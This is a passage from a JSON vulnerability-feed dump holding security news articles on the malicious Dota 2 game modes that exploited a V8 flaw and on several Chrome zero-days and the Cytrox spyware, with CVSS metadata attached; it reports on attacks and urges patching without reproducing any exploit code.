the exploit on its own allowed for remote code execution against other Dota players,\" Avast researcher Jan Vojt\u011b\u0161ek [said](<https://decoded.avast.io/janvojtesek/dota-2-under-attack-how-a-v8-bug-was-exploited-in-the-game/>) in a report published last week.\n\nFollowing responsible disclosure to Valve, the game publisher [shipped fixes](<https://www.dota2.com/news/updates>) on January 12, 2023, by upgrading the version of V8.\n\nGame modes are essentially [custom capabilities](<https://dota2.fandom.com/wiki/Game_modes>) that can either augment an existing title or offer completely new gameplay in a manner that deviates from the standard rules.\n\nWhile publishing a custom game mode to the Steam store includes a vetting process from Valve, the malicious game modes discovered by the antivirus vendor managed to slip through the cracks.\n\nThese game modes, which have since been taken down, are \"test addon plz ignore,\" \"Overdog no annoying heroes,\" \"Custom Hero Brawl,\" and \"Overthrow RTZ Edition X10 XP.\" The threat actor is also said to have published a fifth game mode named \"Brawl in Petah Tiqwa\" that did not pack any rogue code.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhk3nBsPsMeqEwHfBlV_VBFgxDava3pfbAj25xlNU2UzOMa2p_qpJ6SImA8vlYA4g3fN4YuTntn090Y-CDI__zAaCoQtFtVW5SK52TsuN9yIS28b29zxkY6nsXRjc4VQ8-iERrdW1FuyR84ZBLfb83hgphi_Am3cYDqKqttn3TXw5-ckFZgu3kakylk/s728-e365/hack.png>)\n\nEmbedded inside \"test addon plz ignore\" is an exploit for the V8 flaw that could be weaponized to execute custom shellcode.\n\nThe three others, on the other hand, take a more covert approach in that the malicious code is designed to reach out to a remote server to fetch a JavaScript payload, which is also likely to be an exploit for CVE-2021-38003 since the server is no longer reachable.\n\nIn a hypothetical attack scenario, a player launching one of the above game modes could be targeted by the threat actor to achieve remote access to the infected host and deploy additional malware for further exploitation.\n\nIt's not immediately known what the developer's end goals were behind creating the game modes, but they are unlikely to be for benign research purposes, Avast noted.\n\n\"First, the attacker did not report the vulnerability to Valve (which would generally be considered a nice thing to do),\" Vojt\u011b\u0161ek said. \"Second, the attacker tried to hide the exploit in a stealthy backdoor.\"\n\n\"Regardless, it's also possible that the attacker didn't have purely malicious intentions either, since such an attacker could arguably abuse this vulnerability with a much larger impact.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-02-13T15:31:00", "type": "thn", "title": "Hackers Create Malicious Dota 2 Game Modes to Secretly Access Players' Systems", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2023-02-14T04:20:31", "id": "THN:5DCF4FF1D8F641348F799D406F8DB1F1", "href": "https://thehackernews.com/2023/02/hackers-create-malicious-dota-2-game.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-09-14T18:35:22", "description": "Google _[announced](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>)_ on Monday that it will be issuing patches for 11 high severity vulnerabilities found in Chrome, including two that are currently being exploited in the wild. The patch, which is part of the Stable Channel Update for Chrome 93 (93.0.4577.82), will be released for Windows, Mac, and Linux (if it hasn\u2019t already). Chrome users are expected to see the roll out in the coming days and weeks.\n\nReaders should note that other popular browsers such as Brave and Edge are also Chromium-based and therefore likely to be vulnerable to these flaws too. Keep an eye out for updates.\n\nYou can check what version of Chrome you are running by opening About Google Chrome from the main menu.\n\nThe About Google Chrome screen tells you what version you are running and whether it is up to date\n\n### The vulnerabilities\n\nThe fixes address high severity vulnerabilities reported to Google by independent researchers from as early as August of this year. That said, the company has included names of the researchers who found the flaws in their announcement.\n\nThe two vulnerabilities that are being actively exploited\u2014namely, [CVE-2021-30632](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30632>) and [CVE-2021-30633](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30633>)\u2014were submitted anonymously. The former is an "Out of bounds write" flaw in the V8 JavaScript engine and the latter is a "Use after free" bug in the Indexed DB API.\n\nBecause threat actors are currently exploiting the two aforementioned vulnerabilities, Google provides little to no information on how the attacks against these weaknesses are being carried out, or other precautionary measures users should be looking out for. Per Google:\n\n> Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed.\n\n### V8, the thorn in Chrome's side?\n\nNobody will be surprised to see that one of the in-the-wild exploits affects Chrome's V8 engine. \n\nAt the heart of every modern web browser sits a JavaScript interpreter, a component that does much of the heavy lifting for interactive web apps. In Chrome, that interpreter is V8. These components need to accommodate frequent updates and adhere to a bewildering array of web standards, while also being both fast and secure.\n\nChrome's [V8](<https://v8.dev/>) JavaScript engine has been a significant source of security problems. So significant in fact, that in August Microsoft\u2014whose Edge browser is based on Chrome\u2014announced an experimental project called [Super Duper Secure Mode](<https://blog.malwarebytes.com/reports/2021/08/edges-super-duper-secure-mode-benchmarked-how-much-speed-would-you-trade-for-security/>) that aims to tackle the rash of V8 problems by simply turning an important part of it off.\n\nA little under half of the CVEs issued for V8 relate to its Just-in-Time (JIT) compiler, and more than half of all \u2018in-the-wild\u2019 Chrome exploits abuse JIT bugs. Just-in-time compilation is an important performance feature and turning it off is a direct trade of speed for security. How much? According our quick-and-dirty testing, turning off the JIT compiler makes JavaScript execution twice as slow in Edge.\n\n### 11 zero-days and counting\n\nTo date, the Google Chrome team has patched 11 zero-day vulnerabilities in 2021. Previous patches are from the following vulnerabilities, some of which we have covered here in the Malwarebytes Labs blog:\n\n * [_CVE-2021-21148_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/>)\n * [_CVE-2021-21166_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/update-now-chrome-fix-patches-in-the-wild-zero-day/>)\n * CVE-2021-21193\n * [_CVE-2021-21206_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/>)\n * [_CVE-2021-21220_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/>)\n * CVE-2021-21224\n * CVE-2021-30551\n * CVE-2021-30554\n * CVE-2021-30563\n\nWith so much bad PR, you might expect Chrome's market share to suffer; yet, it remains by far the most popular browser. Users\u2014and the Google Chrome brand\u2014seem unaffected.\n\nMake sure you update your Chrome or Chromium-based browser once you see the patch available, or better still, make sure your browser is set to [update itself](<https://support.google.com/chrome/answer/95414?hl=en-GB&co=GENIE.Platform%3DDesktop#:~:text=Go%20to%20'About%20Google%20Chrome,Chrome%20to%20apply%20the%20update.>).\n\nStay safe!\n\nThe post [Update now! Google Chrome fixes two in-the-wild zero-days](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-google-chrome-fixes-two-in-the-wild-zero-days/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T16:28:47", "type": "malwarebytes", "title": "Update now! Google Chrome fixes two in-the-wild zero-days", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-14T16:28:47", "id": "MALWAREBYTES:390E663F11CA04293C83488A40CB3A8A", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-google-chrome-fixes-two-in-the-wild-zero-days/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-24T11:39:21", "description": "The Google Threat Analysis Group (TAG) has [revealed](<https://blog.google/threat-analysis-group/protecting-android-users-from-0-day-attacks/>) that of the nine zero-day vulnerabilities affecting Chrome, Android, Apple and Microsoft that it reported in 2021, five were in use by a single commercial surveillance company.\n\nDid I hear someone say [Pegasus](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>)? An educated guess, but wrong in this case. The name of the surveillance company\u2014or better said, professional spyware vendor\u2014is Cytrox and the name of its spyware is Predator.\n\n## Google\n\nTAG routinely hunts for zero-day vulnerabilities exploited in-the-wild to fix the vulnerabilities in Google's own products. If the group finds zero-days outside of its own products, it reports them to the vendors that own the vulnerable software. \n\nPatches for the five vulnerabilities TAG mentions in its blog are available. Four of them affected the Chrome browser and one the Android kernel component.\n\n## Vulnerabilities\n\nBy definition, zero-day vulnerabilities are vulnerabilities for which no patch exists, and therefore potentially have a high rate of success for an attacker. That doesn\u2019t mean that patched vulnerabilities are useless to attackers, but they will have a smaller number of potential targets. Depending on the product and how easy it is to apply patches, vulnerabilities can be useful for quite a while.\n\nIn the campaign uncovered by TAG, the spyware vendor used the zero-days in conjunction with other already-patched vulnerabilities. The developers took advantage of the time difference between the availability of patches for some of the critical bugs, as it can take a while before these patches are fully deployed across the Android ecosystem.\n\nTAG says Cytrox abused four Chrome zero-days ([CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>), [CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>), [CVE-2021-38000](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>), and [CVE-2021-38003](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>)) and a single Android zero-day ([CVE-2021-1048](<https://source.android.com/security/bulletin/2021-11-01#kernel-components_1>)) last year in at least three campaigns conducted on behalf of various governments.\n\n## Cytrox\n\nTAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors. Cytrox is one of these vendors, along with the NSO Group\u2014undoubtedly the best known one among them and responsible for Pegasus spyware.\n\nCitizenlab at the University of Toronto [published](<https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/>) information about Cytrox in December 2021. It says that Cytrox describes its own activities as providing governments with an \u201coperational cyber solution\u201d that includes gathering information from devices and cloud services. It also says it assists with "designing, managing, and implementing cyber intelligence gathering in the network, enabling businesses to gather intelligence from both end devices as well as from cloud services."\n\nCytrox reportedly began life as a North Macedonian start-up and appears to have a corporate presence in Israel and Hungary. As such, Cytrox is believed to be part of the so-called Intellexa alliance, a marketing label for a range of mercenary surveillance vendors that emerged in 2019. The consortium of companies includes Nexa Technologies (formerly Amesys), WiSpear/Passitora Ltd., Cytrox, and Senpai, along with other unnamed entities, purportedly seeking to compete against other players in the cyber surveillance market such as NSO Group (Pegasus) and [Verint](<https://www.lopinion.fr/economie/verint-pursues-seller-of-spyware>).\n\n## Government spyware\n\nSpyware packages such as Predator and Pegasus create problematic circumstances for the security teams at Google, Apple, and Microsoft, and it seems like they will not stop any time soon.\n\nWhatever arguments these vendors use about how they are working for governments, and therefore not doing anything illegal, we all know the legitimacy of some governments lies in the eye of the beholder. And it is not always easy to find out who actually controls the data received from the spyware.\n\nIt is for good reason that the European Data Protection Supervisor (EDPS) has urged the EU to [ban the development and deployment of spyware](<https://blog.malwarebytes.com/stalkerware/2022/02/ban-pegasus-spyware-urges-european-union-data-protection-supervisor/>) with the capabilities of Pegasus to protect fundamental rights and freedoms. The EDPS argues that the use of Pegasus might lead to an unprecedented level of intrusiveness, threatening the very essence of the right to privacy, since the spyware is capable of interfering with the most intimate aspects of our daily lives.\n\nThe post [Zero-day vulnerabilities in Chrome and Android exploited by commercial spyware](<https://blog.malwarebytes.com/privacy-2/2022/05/zero-day-vulnerabilities-in-chrome-and-android-exploited-by-commercial-spyware/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2022-05-24T09:55:59", "type": "malwarebytes", "title": "Zero-day vulnerabilities in Chrome and Android exploited by commercial spyware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1048", "CVE-2021-37973", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003"], "modified": "2022-05-24T09:55:59", "id": "MALWAREBYTES:1BBB147ADD90DF3A3483E6805D78B6A6", "href": "https://blog.malwarebytes.com/privacy-2/2022/05/zero-day-vulnerabilities-in-chrome-and-android-exploited-by-commercial-spyware/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-14T16:36:43", "description": "A day late and a dollar short is a well-known expression that comes in a few variations. But this version has a movie and a book to its name, so I\u2019m going with this one. Why?\n\nGoogle has published an update for the Chrome browser that patches two newly discovered vulnerabilities. The browser's Stable channel has been updated to [89.0.4389.128](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>) for Windows, Mac and Linux. Both being exploited in the wild.\n\n> Google is aware of reports that exploits for CVE-2021-21206 and CVE-2021-21220 exist in the wild.\n\nNote that other browsers, such as Edge, Brave and Vivaldi are also based on Chrome and likely to be affected by the same issues.\n\n### Which vulnerabilities are patched?\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\nThe first zero-day was listed as [CVE-2021-21220](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220>) and was discovered at the Pwn2Own 2021 event last week. The vulnerability is caused by insufficient validation of untrusted input in V8, Google\u2019s high-performance JavaScript and WebAssembly engine that interprets code embedded in web pages.\n\nThe second zero-day was listed as [CVE-2021-21206](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21206>) and is described as a \u201cuse after free in Blink\u201d. Use after free (UAF) is a vulnerability caused by incorrect use of dynamic memory during a program\u2019s operation. If after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to manipulate the program. Blink is the name of the rendering engine used by Chromium to "draw" web pages.\n\n### Why did I say a day late?\n\nResearcher Rajvardhan Agarwal managed to publish a working exploit for CVE-2021-21220 (the vulnerability discovered at Pwn2Own) on GitHub over the weekend, by reverse-engineering a patch produced by the Chromium team. Chromium is the open source browser that Chrome is built upon, and it in turn is made up of components, like V8 and Blink. Fixes appear in Chromium first, and then Google packages them up, along with some Google-specific goodies, into a new version of the Chrome browser.\n\n> Just here to drop a chrome 0day. Yes you read that right.<https://t.co/sKDKmRYWBP> [pic.twitter.com/PpVJrVitLR](<https://t.co/PpVJrVitLR>)\n> \n> -- Rajvardhan Agarwal (@r4j0x00) [April 12, 2021](<https://twitter.com/r4j0x00/status/1381643526010597380?ref_src=twsrc%5Etfw>)\n\n### And why a dollar short?\n\nBecause the same researcher stated that (at the time) although the vulnerability affecting Chromium-based browsers had been patched in the latest version of V8, it worked against the current Chrome release, thereby leaving users potentially vulnerable to attacks.\n\nLuckily, although Agarwal proved that exploitation was possible, he stopped short of handing criminals the keys to the entire castle. Purposely, the published exploit only worked if users disabled their browser's sandbox, a sort of protective software cage that isolates the browser from the rest of the computer and protects it from exactly this kind of exploit. Criminals looking to use his exploit would have to chain it with a sandbox "escape", a technically difficult task (although not an impossible one, as the Pwn2Own winners proved).\n\n### The update\n\nThe easiest way to do it is to allow Chrome to update automatically, which basically uses the same method as outlined below but does not require your attention. But you can end up lagging behind if you never close the browser or if something goes wrong, such as an extension stopping you from updating the browser.\n\nSo, it doesn\u2019t hurt to check now and then. And now would be a good time, given the working exploits. My preferred method is to have Chrome open the page chrome://settings/help which you can also find by clicking **Settings > About Chrome**.\n\nIf there is an update available, Chrome will notify you and start downloading it. Then it will tell you all you have to do to complete the update is Relaunch the browser.\n\nAfter the update your version should be at 89.0.4389.128 or later\n\nStay safe, everyone!\n\nThe post [Update now! Chrome needs patching against two in-the-wild exploits](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-14T15:01:58", "type": "malwarebytes", "title": "Update now! Chrome needs patching against two in-the-wild exploits", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2021-04-14T15:01:58", "id": "MALWAREBYTES:6F90B6DD790D455EDED4BE326079DA35", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-12T13:10:41", "description": "A Chrome patch has been issued with an advisory stating that the Stable channel has been updated to 88.0.4324.150 for Windows, Mac and Linux. The only noteworthy thing about this update is a patch for a zero-day vulnerability that has been actively exploited in the wild. But that one looks to be extremely important.\n\n### Which zero-day got patched?\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This zero-day got listed as [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-21148>). From the [update announcement](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) for this Chrome patch we can learn that the patch counters a heap buffer overflow in the V8 JavaScript engine, reported by Mattias Buelens on January 24, 2021.\n\n### What is a heap buffer overflow?\n\nHeap is the name for a region of a process\u2019 memory which is used to store dynamic variables. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region. In software exploit code, two common areas that are targeted for overflows are the stack and the heap.\n\nSo, by creating a specially crafted input, attackers could use this vulnerability to write code into a memory location where they normally wouldn\u2019t have access. Having this attack vector available as a zero-day in a popular browser is a golden opportunity for a watering hole.\n\nWatering holes are used as a targeted attack strategy. The attackers infect a website where they know their intended victim(s) will visit, or lure them to a site of their own making. Depending on the nature of the infection, the attackers can single out their intended target(s) or just infect anyone that visits the site unprotected. The watering hole strategy is a mix of social engineering, hacking, and drive-by infections that requires a high level of knowledge and a well-thought-out strategy.\n\n### How was this vulnerability used in the wild?\n\nBased on the timing of the discovery (January 24) and [this report](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>) by Google\u2019s Threat Analysis Group (TAG) issued on January 26, the general assumption is that the attack was used against security researchers working on vulnerability research and development at different companies and organizations. To connect and gain trust among security researchers, the actors created a research blog and multiple Twitter profiles to interact with potential targets.\n\nOne of the methods the attackers used was to interact with the researchers and get them to follow a link on Twitter to a write-up hosted on a malicious website. Shortly after the visit, a malicious service was installed on the researcher\u2019s system and an in-memory backdoor would begin to communicate with a [command and control (C&C)](<https://blog.malwarebytes.com/glossary/cc/>) server. This sure sounds like something that could be accomplished using a heap buffer overflow in a browser.\n\n### The update\n\nDespite its discovery, this exploit remains useful to cybercriminals. We advise everyone to update and get the latest version of Chrome as soon as possible. \n\nThe easiest way to do it is to allow Chrome to update automatically, which basically uses the same method as outlined below but does not require your attention. But you can end up lagging behind if you never close the browser or if something goes wrong, such as an extension stopping you from updating the browser. \n\nSo, it doesn\u2019t hurt to check now and then. And now would be a good time, given the zero-day vulnerability. My preferred method is to have Chrome open the page [chrome://settings/help](<https://settings/help>) which you can also find by clicking **Settings > About Chrome**.\n\nIf there is an update available, Chrome will notify you and start downloading it. Then it will tell you all you have to do to complete the update is **Relaunch **the browser.\n\n_After the update your version should be at 88.0.4324.150 or later_\n\nStay safe, everyone!\n\nThe post [Update now! Chrome patches zero-day that was exploited in the wild](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-05T12:14:04", "type": "malwarebytes", "title": "Update now! Chrome patches zero-day that was exploited in the wild", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-05T12:14:04", "id": "MALWAREBYTES:AC714CB24C401F36B220E29C6D2B049F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2022-02-15T21:47:28", "description": "Google on Monday issued 11 security fixes for its Chrome browser, including a high-severity zero-day bug that\u2019s actively being jumped on by attackers in the wild.\n\nIn a brief update, Google [described](<https://chromereleases.googleblog.com/2022/02/stable-channel-update-for-desktop_14.html>) the weakness, tracked as [CVE-2022-0609](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0609>), as a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in Chrome\u2019s Animation component. This kind of flaw can lead to all sorts of misery, ranging from the corruption of valid data to the execution of arbitrary code on vulnerable systems. Such flaws can also be used to escape the browser\u2019s security sandbox.\n\n\u201cGoogle is aware of reports that an exploit for CVE-2022-0609 exists in the wild,\u201d according to its security update.\n\nChrome users can fix it straight away, though, by going into the Chrome menu > Help > About Google Chrome.\n\nGiven that the zero day is under active attack, updating Chrome should be done ASAP.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/15125804/Chrome-zero-day-e1644947947750.png>)\n\nChrome security updates. Source: Google.\n\nCredit for the Animation zero day goes to Adam Weidemann and Cl\u00e9ment Lecigne, both from Google\u2019s Threat Analysis Group (TAG).\n\nMonday\u2019s update also plastered over four other high-severity use-after-free flaws found in Chrome\u2019s Webstore API, File Manager, [ANGLE](<https://en.wikipedia.org/wiki/ANGLE_\\(software\\)>) and GPU. As well, the company addressed a high-severity integer overflow in [Mojo](<https://chromium.googlesource.com/chromium/src/+/main/docs/mojo_and_services.md>), plus a high-severity h\u200beap buffer overflow in Tab Groups. Finally, Google patched a medium-severity issue with inappropriate implementation in Gamepad API.\n\n## And So It Begins\n\nThis is Chrome\u2019s first zero day of the year, and more are sure to follow. But at least we\u2019ve made it into the new-ish year 10 more days than we managed in 2021, when the first bug to hit arrived on Feb. 4.\n\nLast year delivered a total of these 16 Chrome zero days:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 Feb. 4, a vulnerability in its V8 open-source web engine.\n * [CVE-2021-21166](<https://threatpost.com/google-patches-actively-exploited-flaw-in-chrome-browser/164468/>) \u2013 March 2, a flaw in the Audio component of Google Chrome.\n * [CVE-2021-21193](<https://threatpost.com/google-mac-windows-chrome-zero-day/164759/>) \u2013 March 12, a use-after-free flaw in Blink, [the browser engine for Chrome](<https://threatpost.com/google-high-severity-blink-browser-engine-flaw/147770/>) that was developed as part of the Chromium project.\n * [CVE-2021-21220](<https://threatpost.com/chrome-zero-day-exploit-twitter/165363/>) \u2013 April 13, a remote-code execution issue.\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 April 20, an issue with type confusion in V8 in Google Chrome that could have allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013- June 9, a type confusion bug within Google\u2019s V8 open-source JavaScript and WebAssembly engine.\n * [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2013 June 17, a use-after-free bug.\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 July 15, type confusion in V8.\n * [CVE-2021-30632 and CVE-2021-30633](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>) \u2013 Sept. 13, an out-of-bounds write in V8 and a use-after-free bug in the IndexedDB API, respectively.\n * [CVE-2021-37973](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37973>) \u2013 Sept. 24, a use-after-free flaw in Portals.\n * [CVE-2021-37976 and CVE-2021-37975](<https://threatpost.com/google-emergency-update-chrome-zero-days/175266/>) \u2013 Sept. 30, an information leak in core and a use-after-free bug in V8, respectively.\n * [CVE-2021-38000](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38000>) and [CVE-2021-38003](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003>) \u2013 Oct. 28, an issue with Insufficient validation of untrusted input in Intents in Google Chrome on Android, and an inappropriate implementation in V8 respectively.\n * [CVE-2021-4102](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102>) \u2013 Dec. 13, a use after free in V8.\n\n**_Join Threatpost on Wed. Feb 23 at 2 PM ET for a [LIVE roundtable 